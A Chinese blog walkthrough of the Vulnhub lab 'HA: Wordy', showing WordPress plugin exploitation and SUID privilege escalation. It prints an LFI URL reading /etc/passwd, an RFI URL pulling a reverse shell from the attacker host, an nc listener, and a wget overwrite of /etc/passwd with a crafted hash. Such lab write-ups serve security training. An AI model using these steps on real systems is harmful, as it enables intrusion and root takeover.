wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.6- ha-wordy (vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 903

一、前言

主要利用方式:通过wordpress 插件的若干漏洞进行相对应的突破边界+suid提权
0.png

二、靶机信息

靶场: vulnhub.com
靶机名称: HA: Wordy
难度: 简单
发布时间: 2019 年 9月 13 日
下载地址:https://www.vulnhub.com/entry/ha-wordy,363/
备注:1、此靶机存在若干漏洞,皆有先对应的方式突破边界,拿到www权限,但过多的漏洞易导致混淆,思路混乱
      2、反弹shell过程中,存在apache及python web服务的php解析问题,需重点关注

三、虚拟机配置

采用的VMware、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配

四、信息收集

1、探测靶机ip地址

└─$ sudo arp-scan -I eth0 -l

1.png

2、探测靶机ip端口开放及开放端口的详细服务

└─$ sudo nmap -p- 192.168.169.150  
└─$ sudo nmap -p80 192.168.169.150 

2-1.png
2-2.png

3、经过探测,只有80存在一个web服务,访问

http://192.168.169.150/

3.png

4、先进行目录探测,存在若干目录

[09:56:24] 200 -   11KB - /index.html                                       
[09:56:25] 200 -   15B  - /info.php                                         
[09:56:25] 301 -  323B  - /javascript  ->  http://192.168.169.150/javascript/                              
[09:56:47] 200 -   10KB - /wordpress/wp-login.php                           
[09:56:48] 200 -   48KB - /wordpress/

4.png

5、发现80服务存在wordpress ,直接上wpscan工具,扫描插件及用户

wpscan --url http://192.168.169.150/wordpress

5.png
5-2.png
5-3.png
5-4.png
5-5.png

五、漏洞利用(突破边界)

方法一:远程文件包含(RFI)
6、这里mail masta查一下存在哪些漏洞,并下载本地文件包含的:50226.py 文件
6.png
6-2.png

7、本地查看50226.py的利用方式
7.png

8、通过本地文件包含(LFI)浏览器访问

http://192.168.169.152/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

8.png

9、验证了本地文件包含(LFI),再次尝试一下是否存在远程文件包含(RFI)

 cd到www/html文件夹下面,创建a.html文件,查看攻击机IP,并启动apache 服务,以备调用

9.png
9-2.png

10、通过浏览器去访问远程包含的url,验证存在测试的页面。

http://192.168.169.152/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.169.129/a.html

10.png

11、通过验证,存在远程文件包含,那就可以通过包含远程shell执行解析并进行反弹shell。

   拷贝kali自带的phpshell文件(php-reverse-shell.php),并进行更改名称为prs.php

11.png

12、更改反弹shell(监听机器)的IP及端口
12.png
12-2.png

13、关停apache服务,重新启动一个python web服务

  (此处需要思考的是攻击机和靶机皆为apache-php环境的时候,远程包含的文件到底在哪里解析执行)

13.png

14、攻击机设置监听,并在浏览器中访问URL

└─$ nc -nvlp 1234      
![14-1.png][23]
http://192.168.169.152/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://192.168.169.129/prs.php

14-2.png

15、反弹shell ,并查看id权限
15.png

方法二:任意文件上传(Arbitrary File Upload)
16、查看reflex_gallery 是否存在漏洞,下载相关漏洞说明:36374.txt,
16.png

17、查看36374.txt 关于reflex_gallery 的利用详情
17.png

18、构建exploit的html文件(b.html),并启动python服务,浏览器进行访问
18.png

19、复制前一个方法的shell文件(prs.php ->rev.php)并更改反弹shell的端口
19-1.png
19-2.png

20、点击browse 进行上传shell文件,点击Pwn!,并查看
20-1.png
20-2.png

192.168.169.152/wordpress/wp-content/uploads/2022/06/

20-3.png

21、攻击机设置监听,并在浏览器中访问URL
21.png

192.168.169.152/wordpress/wp-content/uploads/2022/06/rev.php

21-2.png

22、反弹shell ,并查看id权限
22.png

六.提权

23、查找suid权限文件,发现存在wget和cp,两种方法都可以直接覆盖root账号下的密码
23.png

24、wget -O 提权,利用wget -O命令覆盖/etc/passwd文件
在kali上创建文本文件,取名passwd,并将靶机/etc/passwd文件的内容复制进去。因为之后要覆盖靶机的/etc/passwd,所以名字要一模一样。
24.png

25、使用openssl创建一个密码,覆盖到刚创建的passwd

└─$ openssl passwd -1 20220614         
$1$m3cg8nDD$xLODZ5eYt1mdOvCz.gld41

25-1.png
25-2.png

26、攻击机开启python服务,靶机使用wget下载kali中新建的passwd到靶机的/etc目录进行覆盖,并查看覆盖后的passwd
26.png

26-2.png

27、升级交互式终端,查看ID
27.png

28、cd到root根目录,查看flag文件
28.png

添加新评论

TOP